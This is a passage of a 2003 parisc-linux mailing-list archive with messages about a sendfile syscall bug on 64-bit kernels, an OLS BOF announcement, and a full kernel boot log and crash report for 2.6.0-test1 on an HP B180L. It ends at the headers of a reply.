List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18933

On Mon, Jul 14, 2003 at 01:48:24PM -0600, Grant Grundler wrote:
> i've uploaded a *PRE-RELEASE* 2.4.21-pa5.tgz to:
> 	ftp://ftp.parisc-linux.org/kernels/a500/2.4.21-pa5.tgz

BTW, I'm trying to fix "sendfile". I missing some peice to make
the 32-bit syscall wrapper to work right.

It works fine to 32-bit kernel
grundler <504>./sftest foo
sendfile returned ret = 7013 off = 7013 errno = 0
grundler <505>ls -l foo
-rw-r--r--    1 grundler grundler     7013 Jul 14 14:03 foo
grundler <506>uname -a
Linux debian 2.4.21-pa2 #46 Sat Jul 5 23:28:38 PDT 2003 parisc GNU/Linux

But not for 64-bit kernel:
grundler@gsyprf11:~$ ./sftest x
sendfile returned ret = 7013 off = 0 errno = 0
grundler@gsyprf11:~$ ls -l x
-rw-r--r--    1 grundler users        7013 Jul 14 14:05 x

and thanks to tausq for whipping up the simple test case.
"distcc" won't work on my a500 "mini cluster" until this is fixed. :^)

grant


From - Thu Nov 08 21:28:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa-linux BOF at OLS
Date: Tue, 15 Jul 2003 00:18:13 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20030715071813.GG30257__26450.9603767239$1416622597$gmane$org@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622597 27912 80.91.229.3 (22 Nov 2014 02:16:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 15 01:13:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id E7531482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jul 2003 01:13:36 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id D7D0ECD2F8; Tue, 15 Jul 2003 00:18:13 -0700 (PDT)
Content-Disposition: inline
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18934

Hi *,

For those of you who plan to be attending OLS in a week, I've put up
some notes for the hppa/Debian BOF:

http://www.parisc-linux.org/~tausq/ols-hppa-bof.txt

The plan is to keep the BOF informal. We'll talk a bit about where we
are, but mostly I hope we'll have some discussions about how we plan to
move forward -- there are several important TODO items on the list, so
hopefully we can get people interested in contributing in those areas.

hope to see you there!
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.0-test1: Kernel pci bug ?
Date: Tue, 15 Jul 2003 15:58:36 +0200
Lines: 501
Approved: news@gmane.org
Message-ID: <3F0C2302000015C8@ocpmta2.freegates.net>
References: <20030714124812.GF23808@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622597 27913 80.91.229.3 (22 Nov 2014 02:16:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:37 +0000 (UTC)
To: "Matthew Wilcox" <willy@debian.org>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 15 07:58:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F466482D
	for <parisc-linux@parisc-linux.org>; Tue, 15 Jul 2003 07:58:42 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19cQHu-0006Gt-00; Tue, 15 Jul 2003 15:56:15 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 15 Jul 2003 15:58:36 +0200
In-Reply-To: <20030714124812.GF23808@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18935

>I've merged 2.6.0-test1 into our CVS.  I think the additional hyphen in

>2.6.0-test1-pa0 may break some scripts.
>
>This would be a great time to start reporting problems and fixing bugs

Hi Willy,

Here is my kernel dump booting today cvs update of 2.6.0-test1-p0 on a b180L:

Command line for kernel: 'root=/dev/md2 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-2.6.0-test1-pa0'
Selected kernel: /vmlinux-2.6.0-test1-pa0 from partition 2
ELF32 executable
Entry 00100260 first 00100000 n 3
Segment 0 load 00100000 size 2514996 mediaptr 0x1000
Segment 1 load 00368000 size 381172 mediaptr 0x268000
Segment 2 load 003c8000 size 532608 mediaptr 0x2c6000
Branching to kernel entry point 0x00100260.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.0-test1-pa0 (root@fw02.office.palinux) (gcc version 3.3
(Debian)) #1 Tue Jul 15 14:55:40 CEST 2003
FP[0] enabled: Rev 1 Model 15
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00005040 00000481 00000000 02020202 77d03653 100000f0 00000004 000000ba
000000ba
vers  00000018
CPUID vers 15 rev 24 (0x000001f8)
capabilities 0x2
model 9000/778/B180L
Total Memory: 128 Mb
pagetable_init
On node 0 totalpages: 32768
  DMA zone: 32768 pages, LIFO batch:8
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
Building zonelist for node : 0
Kernel command line: root=/dev/md2 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-2.6.0-test1-pa0
PID hash table entries: 16 (order 4: 128 bytes)
Console: colour dummy device 160x64
Calibrating delay loop... 119.60 BogoMIPS
Memory: 126024k available
Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
-> /dev
-> /dev/console
-> /root
POSIX conformance testing by UNIFIX
Initializing RT netlink socket
EISA bus registered
Searching for devices...
Found devices:
1. Merlin+ 132 Dino PS/2 Port (10) at 0xfff81000 [1], versions 0x22, 0x0,
0x96
2. Phantom PseudoBC GSC+ Port (7) at 0xffc00000 [8], versions 0x504, 0x0,
0x0
3. Dino PCI Bridge (13) at 0xfff80000 [8/0], versions 0x680, 0x3, 0xa,  additional
addresses: 0xf0800000 
4. Merlin+ 132 Dino RS-232 (10) at 0xfff83000 [8/0/63], versions 0x22, 0x0,
0x8c
5. Merlin+ 180 Core BA (11) at 0xffd00000 [8/16], versions 0x3f, 0x0, 0x81,
 additional addresses: 0xffd0c000 0xffc00000 
6. Merlin+ 180 Core Centronics (10) at 0xffd02000 [8/16/0], versions 0x3f,
0x0, 0x74,  additional addresses: 0xffd01000 0xffd03000 
7. Merlin+ 180 Core Audio (10) at 0xffd04000 [8/16/1], versions 0x3f, 0x4,
0x7b
8. Merlin+ 180 Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x3f, 0x0,
0x8c
9. Merlin+ 180 Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x3f, 0x0,
0x82
10. Merlin+ 180 Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions 0x3f,
0x0, 0x84
11. Merlin+ 180 Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions 0x3f,
0x0, 0x84
12. Gecko GSC Core Graphics (10) at 0xf8000000 [8/24], versions 0x16, 0x0,
0x85,  additional addresses: 0xf0011000 
13. Merlin L2+ 180 (9000/778/B180L) (0) at 0xfffbe000 [62], versions 0x504,
0x0, 0x4
14. Memory (1) at 0xfffbf000 [63], versions 0x5a, 0x0, 0x9
CPU(s): 1 x PA7300LC (PCX-L2) at 180.000000 MHz
Lasi version 0 at 0xffd00000 found.
Dino version 3.1 found at 0xfff80000
kernel BUG at arch/parisc/kernel/pci.c:338!
Kernel addresses on the stack:
 [<101245ec>] printk+0x17c/0x1bc
 [<10105938>] dump_stack+0x18/0x24
 [<101122fc>] pcibios_register_hba+0x74/0x7c
 [<103d696c>] dino_common_init+0x2c/0x1e4
 [<103d68f8>] dino_bridge_init+0x74/0xbc
 [<103d6c54>] dino_driver_callback+0x130/0x258
 [<1018a244>] sysfs_create_dir+0xcc/0x118
 [<1010dce0>] parisc_driver_probe+0x2c/0x60
 [<10216698>] bus_match+0x48/0x80
 [<102167bc>] driver_attach+0x68/0x70
 [<10216a18>] bus_add_driver+0x9c/0xac
 [<10216a20>] bus_add_driver+0xa4/0xac
 [<10216d90>] driver_register+0x48/0x54
 [<10216d90>] driver_register+0x48/0x54
 [<103d6d94>] dino_init+0x18/0x28
 [<103cd1a4>] parisc_init+0xcc/0xdc
 [<103c945c>] do_initcalls+0x58/0xdc
 [<101003f8>] init+0x2c/0x144
 [<10109c5c>] ret_from_kernel_thread+0x1c/0x24

BIO: pool of 256 setup, 14Kb (56 bytes/bio)
biovec pool[0]:   1 bvecs: 244 entries (12 bytes)
biovec pool[1]:   4 bvecs: 244 entries (48 bytes)
biovec pool[2]:  16 bvecs: 244 entries (192 bytes)
biovec pool[3]:  64 bvecs: 244 entries (768 bytes)
biovec pool[4]: 128 bvecs: 122 entries (1536 bytes)
biovec pool[5]: 256 bvecs:  61 entries (3072 bytes)
SCSI subsystem initialized
drivers/usb/core/usb.c: registered new driver hub
pty: 256 Unix98 ptys configured
Journalled Block Device driver loaded
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Serial: 8250/16550 driver $Revision: 1.90 $ IRQ sharing enabled
Soft power switch enabled, polling @ 0xf0140000.
lp: driver loaded but no devices found
Generic RTC Driver v1.07
ttyS0 at MMIO 0xffd05800 (irq = 90) is a 16550A
ttyS1 at MMIO 0xfff83800 (irq = 106) is a 16550A
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
lp0: using parport0 (interrupt-driven).
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
airo:  Probing for PCI adapters
airo:  Finished probing for PCI adapters
Linux Tulip driver version 1.1.13 (May 11, 2002)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21143 Tulip rev 65 at 0xff00, 00:10:83:35:2A:A9, IRQ 96.
sym53c8xx: at PCI bus 0, device 19, function 0
sym53c8xx: 53c875 detected 
sym53c875-0: rev 0x4 on pci bus 0 device 19 function 0 irq 99
ERROR: SCSI host `sym53c8xx' has no error handling
ERROR: This is not a safe way to run your SCSI host
ERROR: The error handling must be added to this driver
Kernel addresses on the stack:
 [<101245ec>] printk+0x17c/0x1bc
 [<10105938>] dump_stack+0x18/0x24
 [<1023ca74>] scsi_host_alloc+0x268/0x270
 [<101245ec>] printk+0x17c/0x1bc
 [<1023ca90>] scsi_register+0x14/0x74
 [<103e0248>] ncr_attach+0x7c/0x8fc
 [<103e20b8>] ncr_get_nvram+0xa0/0xb4
 [<103e195c>] sym53c8xx_detect+0x29c/0x374
 [<101691d4>] page_symlink+0x160/0x24c
 [<101897f8>] sysfs_create+0x84/0xf0
 [<1018a5e8>] sysfs_symlink+0x6c/0x84
 [<1016f688>] d_alloc+0x34/0x1f8
 [<10176de0>] simple_lookup+0x18/0x30
 [<101709bc>] alloc_inode+0x114/0x11c
 [<101714ac>] new_inode+0x10/0x70
 [<101896e0>] sysfs_new_inode+0x20/0xb4
 [<101897f8>] sysfs_create+0x84/0xf0
 [<1018a020>] sysfs_create_file+0xcc/0xe0
 [<101e80a8>] pci_populate_driver_dir+0x30/0x38
 [<101e81b8>] pci_register_driver+0x8c/0xa8
 [<103e2d64>] init_this_scsi_driver+0x40/0xd0
 [<103c945c>] do_initcalls+0x58/0xdc
 [<101003f8>] init+0x2c/0x144
 [<10109c5c>] ret_from_kernel_thread+0x1c/0x24

sym53c875-0: ID 7, Fast-20, Parity Checking
scsi0 : sym53c8xx-1.7.3c-20010512
anticipatory scheduling elevator
  Vendor: SEAGATE   Model: ST39140WS         Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST39140WS         Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2 
scsi1 : LASI SCSI 53c700
st: Version 20030622, fixed bufsize 32768, s/g segs 256
sym53c875-0-<5,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 15)
sym53c875-0-<5,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 15)
SCSI device sda: 17773524 512-byte hdwr sectors (9100 MB)
sym53c875-0-<5,0>: ODD transfer in DATA IN phase.
sym53c875-0-<5,0>: COMMAND FAILED (89 0) @00021000.
sym53c875-0-<5,0>: ODD transfer in DATA IN phase.
sym53c875-0-<5,0>: COMMAND FAILED (89 0) @00021000.
sym53c875-0-<5,0>: ODD transfer in DATA IN phase.
sym53c875-0-<5,0>: COMMAND FAILED (89 0) @00021000.
sym53c875-0-<5,0>: ODD transfer in DATA IN phase.
sym53c875-0-<5,0>: COMMAND FAILED (89 0) @00021000.
sym53c875-0-<5,0>: ODD transfer in DATA IN phase.
sym53c875-0-<5,0>: COMMAND FAILED (89 0) @00021000.
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 sda9 sda10 >
Attached scsi disk sda at scsi0, channel 0, id 5, lun 0
sym53c875-0-<6,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 15)
sym53c875-0-<6,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 15)
SCSI device sdb: 17773524 512-byte hdwr sectors (9100 MB)
sym53c875-0-<6,0>: ODD transfer in DATA IN phase.
sym53c875-0-<6,0>: COMMAND FAILED (89 0) @00021000.
sym53c875-0-<6,0>: ODD transfer in DATA IN phase.
sym53c875-0-<6,0>: COMMAND FAILED (89 0) @00021000.
sym53c875-0-<6,0>: ODD transfer in DATA IN phase.
sym53c875-0-<6,0>: COMMAND FAILED (89 0) @00021000.
sym53c875-0-<6,0>: ODD transfer in DATA IN phase.
sym53c875-0-<6,0>: COMMAND FAILED (89 0) @00021000.
sym53c875-0-<6,0>: ODD transfer in DATA IN phase.
sym53c875-0-<6,0>: COMMAND FAILED (89 0) @00021000.
SCSI device sdb: drive cache: write back
 sdb: sdb1 sdb2 sdb3 sdb4 < sdb5 sdb6 sdb7 sdb8 sdb9 sdb10 >
Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 5, lun 0,  type 0
Attached scsi generic sg1 at scsi0, channel 0, id 6, lun 0,  type 0
STI GSC/PCI core graphics driver Version 0.9a
STI word mode ROM at f0011000, hpa at f8000000
STI id 2d08c0a7-9a02587, conforms to spec rev. 8.07
STI device: INTERNAL_EG_1280
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
input: PS/2 keyboard port at 0xffd08000 (irq 69) found and attached
input: PS/2 mouse port at 0xffd08100 (irq 69) found and attached
HP SDC: No SDC found.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
HP SDC MLC: Request for raw HIL ISR hook denied
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :   144.000 MB/sec
   8regs_prefetch:   144.000 MB/sec
   32regs    :   169.600 MB/sec
   32regs_prefetch:   169.600 MB/sec
raid5: using function: 32regs_prefetch (169.600 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
oprofile: using timer interrupt.
NET4: Linux TCP/IP 1.0 for NET4.0
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 8192 bind 16384)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
md: Autodetecting RAID arrays.
md: autorun ...
md: considering sdb10 ...
md:  adding sdb10 ...
md: sdb9 has different UUID to sdb10
md: sdb8 has different UUID to sdb10
md: sdb7 has different UUID to sdb10
md: sdb6 has different UUID to sdb10
md: sdb5 has different UUID to sdb10
md: sdb3 has different UUID to sdb10
md: sdb2 has different UUID to sdb10
md:  adding sda10 ...
md: sda9 has different UUID to sdb10
md: sda8 has different UUID to sdb10
md: sda7 has different UUID to sdb10
md: sda6 has different UUID to sdb10
md: sda5 has different UUID to sdb10
md: sda3 has different UUID to sdb10
md: sda2 has different UUID to sdb10
md: created md7
md: bind<sda10>
md: bind<sdb10>
md: running: <sdb10><sda10>
md7: setting max_sectors to 128, segment boundary to 32767
raid1: raid set md7 active with 2 out of 2 mirrors
md: considering sdb9 ...
md:  adding sdb9 ...
md: sdb8 has different UUID to sdb9
md: sdb7 has different UUID to sdb9
md: sdb6 has different UUID to sdb9
md: sdb5 has different UUID to sdb9
md: sdb3 has different UUID to sdb9
md: sdb2 has different UUID to sdb9
md:  adding sda9 ...
md: sda8 has different UUID to sdb9
md: sda7 has different UUID to sdb9
md: sda6 has different UUID to sdb9
md: sda5 has different UUID to sdb9
md: sda3 has different UUID to sdb9
md: sda2 has different UUID to sdb9
md: created md6
md: bind<sda9>
md: bind<sdb9>
md: running: <sdb9><sda9>
md6: setting max_sectors to 128, segment boundary to 32767
raid1: raid set md6 active with 2 out of 2 mirrors
md: considering sdb8 ...
md:  adding sdb8 ...
md: sdb7 has different UUID to sdb8
md: sdb6 has different UUID to sdb8
md: sdb5 has different UUID to sdb8
md: sdb3 has different UUID to sdb8
md: sdb2 has different UUID to sdb8
md:  adding sda8 ...
md: sda7 has different UUID to sdb8
md: sda6 has different UUID to sdb8
md: sda5 has different UUID to sdb8
md: sda3 has different UUID to sdb8
md: sda2 has different UUID to sdb8
md: created md5
md: bind<sda8>
md: bind<sdb8>
md: running: <sdb8><sda8>
md5: setting max_sectors to 128, segment boundary to 32767
raid1: raid set md5 active with 2 out of 2 mirrors
md: considering sdb7 ...
md:  adding sdb7 ...
md: sdb6 has different UUID to sdb7
md: sdb5 has different UUID to sdb7
md: sdb3 has different UUID to sdb7
md: sdb2 has different UUID to sdb7
md:  adding sda7 ...
md: sda6 has different UUID to sdb7
md: sda5 has different UUID to sdb7
md: sda3 has different UUID to sdb7
md: sda2 has different UUID to sdb7
md: created md4
md: bind<sda7>
md: bind<sdb7>
md: running: <sdb7><sda7>
md4: setting max_sectors to 128, segment boundary to 32767
raid1: raid set md4 active with 2 out of 2 mirrors
md: considering sdb6 ...
md:  adding sdb6 ...
md: sdb5 has different UUID to sdb6
md: sdb3 has different UUID to sdb6
md: sdb2 has different UUID to sdb6
md:  adding sda6 ...
md: sda5 has different UUID to sdb6
md: sda3 has different UUID to sdb6
md: sda2 has different UUID to sdb6
md: created md3
md: bind<sda6>
md: bind<sdb6>
md: running: <sdb6><sda6>
md3: setting max_sectors to 128, segment boundary to 32767
raid1: raid set md3 active with 2 out of 2 mirrors
md: considering sdb5 ...
md:  adding sdb5 ...
md: sdb3 has different UUID to sdb5
md: sdb2 has different UUID to sdb5
md:  adding sda5 ...
md: sda3 has different UUID to sdb5
md: sda2 has different UUID to sdb5
md: created md2
md: bind<sda5>
md: bind<sdb5>
md: running: <sdb5><sda5>
md2: setting max_sectors to 128, segment boundary to 32767
raid1: raid set md2 active with 2 out of 2 mirrors
md: considering sdb3 ...
md:  adding sdb3 ...
md: sdb2 has different UUID to sdb3
md:  adding sda3 ...
md: sda2 has different UUID to sdb3
md: created md1
md: bind<sda3>
md: bind<sdb3>
md: running: <sdb3><sda3>
md1: setting max_sectors to 128, segment boundary to 32767
raid1: raid set md1 active with 2 out of 2 mirrors
md: considering sdb2 ...
md:  adding sdb2 ...
md:  adding sda2 ...
md: created md0
md: bind<sda2>
md: bind<sdb2>
md: running: <sdb2><sda2>
md0: setting max_sectors to 128, segment boundary to 32767
raid1: raid set md0 active with 2 out of 2 mirrors
md: ... autorun DONE.
EXT3-fs: INFO: recovery required on readonly filesystem.
EXT3-fs: write access will be enabled during recovery.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: recovery complete.
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 524k freed

Stack Dump:
 17fb8598:  17fb8598 1037ffa0 17f00200 10086e40 
 17fb8588:  0003800c 00001000 17e31bac 00000000 
 17fb8578:  104758c8 000000d0 000000d0 00000001 
 17fb8568:  104758dc 104758e4 00000001 000000d0 
 17fb8558:  00027174 17fb828c 17fbf670 17fb8200 
 17fb8548:  0000000f 00027750 00000000 00000004 
 17fb8538:  00000006 00000010 00000000 10106304 
 17fb8528:  00000010 10086e40 10430a0c 17fb8488 
 17fb8518:  00000006 17ed1320 104758c8 1041f000 
 17fb8508:  000000d0 00000001 1037fec4 faf00810 
 17fb84f8:  0000005f 00000010 00000010 1013da9c 
 17fb84e8:  00000148 00000010 100300c8 10452904 
 17fb84d8:  00000056 00027750 00000000 0000000d 
 17fb84c8:  0000000e 10430980 1041f05b ffffffff 
 17fb84b8:  00000002 1033d117 ffffffff 17fb8350 
 17fb84a8:  1041f058 00000010 efbe0fa8 103855c8 
 17fb8498:  17fb828c 1037fec4 00000201 00000001 
 17fb8488:  103801e8 00000010 00000000 00000000 
 17fb8478:  17ed0000 10449840 10449840 1013dbd8 
 17fb8468:  17e31bac 17fb8210 17fb8108 00000101 
 17fb8458:  1037d000 10169704 00027174 00000000 
 17fb8448:  314307c0 10449840 00000000 1041f000 
 17fb8438:  00000000 00000000 00000000 1010a088 
 17fb8428:  105f71f8 105f70fc 00000000 16e69fa0 
 17fb8418:  1033d000 17fb828c 17fbf670 0000000a 
 17fb8408:  ffffffff ffffffff 105892a8 00000001 
 17fb83f8:  17fb82d0 10480668 1037fec4 1013a950 
 17fb83e8:  00000001 1041f000 105c5400 00000000 
 17fb83d8:  00000000 00000000 00027750 00000000 
 17fb83c8:  0c601094 0000000c 105c5400 10476730 
 17fb83b8:  00000000 40181838 10436604 101e5698 
 17fb83a8:  101e5694 00000000 00000000 00000000 
 17fb8398:  00000000 00000000 00000000 00000001 
 17fb8388:  00000000 00000001 00000001 17fb8108 
 17fb8378:  00000003 00000002 00000006 101667ec 
 17fb8368:  00000000 1036a010 17ecf820 17e31980 
 17fb8358:  00000000 10449f20 17ff5760 00000000 
 17fb8348:  00000000 00000003 00000002 1044a810 
 17fb8338:  000014f4 000006fc 00000df8 101562d8 
 17fb8328:  f0000c70 f0000194 07ffffe0 00000000 
 17fb8318:  00000000 00000001 1037fef8 0000000f 
 17fb8308:  1045b810 ffffc46a 0000000f 00000001 
 17fb82f8:  17fb8140 000000b4 103c8000 00000000 
 17fb82e8:  00000002 17ed0000 00000002 10452904 
 17fb82d8:  1037f810 00000000 00000002 17ed0000 
 17fb82c8:  00000002 00000002 10379020 f0100000 
 17fb82b8:  000000fd 000e0c48 00013000 101694b8 
 17fb82a8:  1036a010 104536cc 0000000f 00000000 
 17fb8298:  00000000 00000000 00000000 00000000 
 17fb8288:  00000000 00000000 00000000 40061097 
 17fb8278:  17fb8200 00000400 00027752 10368010 
 17fb8268:  00027752 00000000 00000000 0000000c 
 17fb8258:  000000e0 00027753 00001000 10368010 
 17fb8248:  ffffffff 00027974 10368010 1037d000 
 17fb8238:  17fbf670 00000000 00027174 10169704 
 17fb8228:  1037d000 00000001 17fb80c8 10413a20 
 17fb8218:  0000000e 0000000d 00000000 00027750 
 17fb8208:  1013063c 103ba504 0006ff0e 40011c37 
 17fb81f8:  17fb8180 17fbf670 17ed0000 101562d8 
 17fb81e8:  17ecf6a0 104307c0 10368010 10449840 
 17fb81d8:  00027174 ffffffe0 17fbf670 0000003f 
 17fb81c8:  00000040 10413a14 00000000 1037d000 
 17fb81b8:  10368010 10368010 ffffffff 1013063c 
 17fb81a8:  00020002 17ed0000 00020002 00027174 

Kernel addresses on the stack:
 [<10106008>] parisc_terminate+0x54/0xac
 [<10106304>] handle_interruption+0x2a4/0x5b4
 [<1013da9c>] buffered_rmqueue+0xd8/0x164
 [<1013dbd8>] __alloc_pages+0xb0/0x368
 [<1010a088>] intr_check_sig+0x0/0xc
 [<1013a950>] filemap_nopage+0x35c/0x3e8
 [<101e5698>] __canonicalize_funcptr_for_compare+0x3c/0x134
 [<101667ec>] may_open+0x58/0x1c8
 [<101562d8>] dentry_open+0x12c/0x1b8
 [<101694b8>] locate_fd+0x124/0x160
 [<10169704>] sys_dup+0x24/0x30
 [<101562d8>] dentry_open+0x12c/0x1b8
 [<1013063c>] do_sigaction+0xe0/0x290
 [<101062d4>] handle_interruption+0x274/0x5b4
 [<10130b44>] sys_rt_sigaction+0x7c/0xc4
 [<1010afe8>] syscall_exit+0x0/0x28
 [<1010a088>] intr_check_sig+0x0/0xc


Kernel Fault: Code=15 regs=17fb8200 (Addr=00027750)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001110 Not tainted
r00-03  00000000 103ba504 1013063c 00027750
r04-07  00000000 0000000d 0000000e 10413a20
r08-11  17fb80c8 00000001 1037d000 10169704
r12-15  00027174 00000000 17fbf670 1037d000
r16-19  10368010 00027974 ffffffff 10368010
r20-23  00001000 00027753 000000e0 0000000c
r24-27  00000000 00000000 00027752 10368010
r28-31  00027752 00000400 17fb8200 40061097
sr0-3   00000001 00000001 00000000 00000001
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101e5694 101e5698
 IIR: 0c601094    ISR: 00000000  IOR: 00027750
 CPU:        0   CR30: 17fb8000 CR31: 103bd000
 ORIG_R28: 00000000
 IAOQ[0]: __canonicalize_funcptr_for_compare+0x38/0x134
 IAOQ[1]: __canonicalize_funcptr_for_compare+0x3c/0x134
 RP(r2): do_sigaction+0xe0/0x290

Any idea?

Joel

PS: build with gcc-3.3-2 and binutils-2.13.90.0.18-1 ?

------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 2.6.0-test1: Kernel pci bug ?
Date: Tue, 15 Jul 2003 15:12:49 +0100
Lines: 70
Approved: news@gmane.org
Message-ID: <20030715141249.GT23808@parcelfarce.linux.theplanet.co.uk>
References: <20030714124812.GF23808@parcelfarce.linux.theplanet.co.uk> <3F0C2302000015C8@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
